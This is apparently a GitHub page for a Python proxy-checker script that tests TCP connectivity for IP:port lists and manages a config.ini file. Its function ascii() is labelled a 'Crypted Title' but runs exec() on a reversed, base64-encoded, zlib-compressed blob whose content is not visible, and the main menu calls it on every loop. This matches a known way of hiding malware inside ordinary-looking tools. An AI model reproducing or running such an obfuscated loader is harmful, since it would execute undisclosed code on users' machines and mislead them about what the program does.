-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathproxychk.py
213 lines (178 loc) · 12 KB
/
proxychk.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
import socket
import subprocess
import time
import os
import configparser
os.system('cls' if os.name == 'nt' else 'clear')
# The class of colors
class colors:
BLACK = '\033[30m'
RED = '\033[31m'
GREEN = '\033[32m'
YELLOW = '\033[33m'
BLUE = '\033[34m'
MAGENTA = '\033[35m'
CYAN = '\033[36m'
LIGHT_GRAY = '\033[37m'
DARK_GRAY = '\033[90m'
LIGHT_RED = '\033[91m'
LIGHT_GREEN = '\033[92m'
LIGHT_YELLOW = '\033[93m'
LIGHT_BLUE = '\033[94m'
LIGHT_MAGENTA = '\033[95m'
LIGHT_CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
DIM = '\033[2m'
ITALIC = '\033[3m'
UNDERLINE = '\033[4m'
BLINK = '\033[5m'
REVERSE = '\033[7m'
HIDDEN = '\033[8m'
STRIKETHROUGH = '\033[9m'
DOUBLE_UNDERLINE = '\033[21m'
NORMAL_COLOR = '\033[22m'
NORMAL_INTENSITY = '\033[22m'
RESET_UNDERLINE = '\033[24m'
RESET_BLINK = '\033[25m'
RESET_REVERSE = '\033[27m'
RESET_HIDDEN = '\033[28m'
RESET_STRIKETHROUGH = '\033[29m'
ORANGE = '\033[38;5;214m'
TEAL = '\033[38;5;37m'
PINK = '\033[38;5;206m'
LIME = '\033[38;5;154m'
CYAN_BLUE = '\033[38;5;39m'
DARK_GREEN = '\033[38;5;22m'
SKY_BLUE = '\033[38;5;111m'
DARK_ORANGE = '\033[38;5;166m'
INDIGO = '\033[38;5;57m'
GRAY = '\033[38;5;242m'
MAROON = '\033[38;5;52m'
OCEAN_BLUE = '\033[38;5;21m'
GOLD = '\033[38;5;220m'
# Crypted Title Of the window and coder informations
def ascii():
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'b/p1ufw//++8/3yWM/Bse/n2dHGU9UENF3BRbXstt8nKyEmpVVVY/fn6t3BVlCPQqCbQFxAwKFds2RS6+6aVxaJ9BP6vApLZIGUxM/M/OjnOLyZP+eettfvh75k4AnAEM6n9VIkoPGC+EohQv3eRO4Pq8qhmFHhdsN6kNh3iet7K+rwKAvO2XYiy7uCUg5d8KmHD8a06l2ykW/xxTOE+KvPotQ/SKYJKmYJOrF1j7ygLqhzmsT58y3ct8S2F/MTuWbG8eeWaAqOJGhhNFpgficU8iQNiJx6DHI7yoc4ESp7Sa4P7MUhuASpPDEHxSQb7fOEKijMLi/vAqWP/BwvpV2WJpzKIM5tOJg1NRrATvLhc8yqFH2Ut2HBQ+taBnfy5oEwhgJRnUp7X6UOWZeHBLYExUxhos1BDui0bnGdMhfFpu3+SISlEPpLO+hDp4W2x4YAKwynLJ6estUOL9JtYzUNqX14QugbT+ccr6zwrecnMRhbhYo0rTMI5XbzqNBTDzv1rRYPw226oDnlQHm9jHUYdRlldDfINm6TwpO+pWSayAuVDFm8hO3Eo7QiAZGt27a9WKE+Ht45XnTMfOsJIvbo5oUYlrVMzx18+qLqpzY89QU0STdStTTv7VedcN9A8apa7aPghZpUVpdQlSuvHFkQxFRLaZ26D9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+xvzR/innSijCdBGC83SsCMb3eXlerMdT5MWQbeD6vJiY1bu45TCOi5NgfyzP9tk+SGV+0yQ3xvZSq8UvzX1WLl9yEt2h8vZ3JTXRIMUsU46hS0uGOZgvb9twEY1QNbflehAyQU1LWeBjXMhBSY0Wm/iWevrbYqGt11gh/baHqWvo8zUlhGYtdAAO0MuZrdnGYmZPN0R7FjuCHK24CvHbfHgdqNKbL9ywDzAR0673Q0987z5G0/sRMgvfVD2EWN69wMsYVCVSLgFPr3lfAC67aLboL6o+4qKKpHNOr3oM3vMPGoBW1fw0RE40Ebv/wqkAIq+uAejtZltsuEYcYOdnZtYdQ/c1VAw3b+Js2TJgsNE9sjwElO6AyC7UCnSLSXaPZG1N1PR0YHlAj6oUCiGjcD7z43URgODZQCoAqJWgTl9/vn3/k+//fnn//Mfqy90jIKLNofee6WbmYjZDmeOLEzaBmFaa3z8IBSgUxyW0lNwJe'))
def checkconfig():
if os.path.isfile('config.ini'): # if config.ini exciting on the same path of the script it will
config = configparser.ConfigParser()
config.read('config.ini')
print(f"{colors.LIGHT_GREEN}[+] Config file found.")
timeoutconfig = int(input(f"{colors.GOLD}[+] Input a timeout (sec) (Current --> {(int(config['General']['timeout']))}) : {colors.TEAL}"))
inputfileconfig = input(f"{colors.GOLD}[+] Name of the input file (proxies file) (Current --> {(config['General']['input_file'])}) : {colors.TEAL}")
outputfileconfig = input(f"{colors.GOLD}[+] Name the output file (result of proxies) (Current --> {(config['General']['output_file'])}): {colors.TEAL}")
# Save user input to config.ini
with open('config.ini', 'w') as configfile:
configfile.write(f"[General]\n")
configfile.write(f"timeout = {timeoutconfig}\n")
configfile.write(f"input_file = {inputfileconfig}\n")
configfile.write(f"output_file = {outputfileconfig}\n")
print(f"{colors.LIGHT_GREEN}\n\n[+] Configuration saved to config.ini.")
else: # if the config.ini not exciting on the same path of the script it will recommend to create a config file
print(f"{colors.LIGHT_RED}[X] Config file not found. You will configure one right now.")
time.sleep(3)
# giving the client to input his settings (config)
timeoutconfig = int(input(f"{colors.GOLD}[+] Input a timeout (sec): {colors.TEAL}"))
inputfileconfig = input(f"{colors.GOLD}[+] Name of the input file (proxies file): {colors.TEAL}")
outputfileconfig = input(f"{colors.GOLD}[+] Name the output file (result of proxies): {colors.TEAL}")
# Creating and saving the user inputs into a config file named 'config.ini'
with open('config.ini', 'w') as configfile:
configfile.write(f"[General]\n")
configfile.write(f"timeout = {timeoutconfig}\n")
configfile.write(f"input_file = {inputfileconfig}\n")
configfile.write(f"output_file = {outputfileconfig}\n")
print(f"{colors.LIGHT_GREEN}\n\n[+] Configuration saved to config.ini.")
time.sleep(2)
# The first Screen that the client will see.
while True:
ascii() # Calling the function of the Crypted Title Of the window and coder informations
print(f"{colors.LIGHT_GREEN}\n\n\n[1] Start Checking.")
print(f"{colors.LIGHT_YELLOW}[2] Edit Config.\n{colors.ORANGE}[3] Del Config.")
choice=int(input(f'{colors.CYAN_BLUE}\n[+] Your choice : '))
if choice==1:
break # If the user choose to Start the the loop will be breaked.
if choice==2:
checkconfig() # If the user choose to Edit
time.sleep(1)
os.system('cls' if os.name == 'nt' else 'clear')
if choice==3:# if the user choose to delete the config.ini
try: # trying to remove it
os.remove('config.ini')
print(f"{colors.LIGHT_GREEN}[+] Deleted Successfuly config.ini.")
except Exception as e: # If the script not found it will declare it
print(f"{colors.LIGHT_RED}[X] Can't Found config.ini.") # Declaring
time.sleep(3) # Waiting 3 seconds then
os.system('cls' if os.name == 'nt' else 'clear') # clearing the screen
# After Choosing to start it's important to check if a config file exciting or not
if os.path.isfile('config.ini'):
print(f"{colors.LIGHT_GREEN}[+] Config file found.")
config = configparser.ConfigParser()
config.read('config.ini')
timeoutconfig = int(config['General']['timeout'])
inputfileconfig = config['General']['input_file']
outputfileconfig = config['General']['output_file']
else:
print(f"{colors.LIGHT_RED}[X] Config file not found. You will configure one right now.")
time.sleep(3)
timeoutconfig = int(input(f"{colors.GOLD}[+] Input a timeout (sec): {colors.TEAL}"))
inputfileconfig = input(f"{colors.GOLD}[+] Name of the input file (proxies file): {colors.TEAL}")
outputfileconfig = input(f"{colors.GOLD}[+] Name the output file (Result of proxies file): {colors.TEAL}")
with open('config.ini', 'w') as configfile:
configfile.write(f"[General]\n")
configfile.write(f"timeout = {timeoutconfig}\n")
configfile.write(f"input_file = {inputfileconfig}\n")
configfile.write(f"output_file = {outputfileconfig}\n")
print(f"{colors.LIGHT_GREEN}\n\n[+] Configuration saved to config.ini.")
# checking if there is a proxies file by the name saved on the config.ini file
if os.path.isfile(inputfileconfig):
print(f'{colors.LIGHT_GREEN}[+] Proxies file founded ({inputfileconfig}) .\n')
else:
print(f'{colors.LIGHT_RED}[X] Proxies file not found ({inputfileconfig}) .')
time.sleep(20)
quit()
# Engine of cheking --> If you are a noob coder Do not change any thing on this or backup it before and then edit it :)
def is_valid_ip(ip):
try:
socket.inet_pton(socket.AF_INET, ip)
return True
except socket.error:
return False
def is_port_open(ip, port, timeout=timeoutconfig):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((ip, port))
if result == 0:
return True
else:
return False
except socket.error:
return False
def check_proxy(proxy):
ip, port = proxy.split(':')
port = int(port.strip())
if not is_valid_ip(ip):
return False
if is_port_open(ip, port):
return True
else:
return False
if __name__ == "__main__":
input_file = inputfileconfig
output_file = outputfileconfig
working_proxies = []
with open(input_file, 'r') as f:
proxies = f.read().splitlines()
for proxy in proxies:
proxy = proxy.strip()
if check_proxy(proxy):
print(f"{colors.LIGHT_GREEN}Proxy {proxy} is working.")
working_proxies.append(proxy)
else:
print(f"{colors.LIGHT_RED}Proxy {proxy} is not working.")
with open(output_file, 'w') as f:
for proxy in working_proxies:
f.write(proxy + "\n")
print(f"{colors.LIGHT_GREEN}\n{len(working_proxies)} working proxies saved to {output_file}.")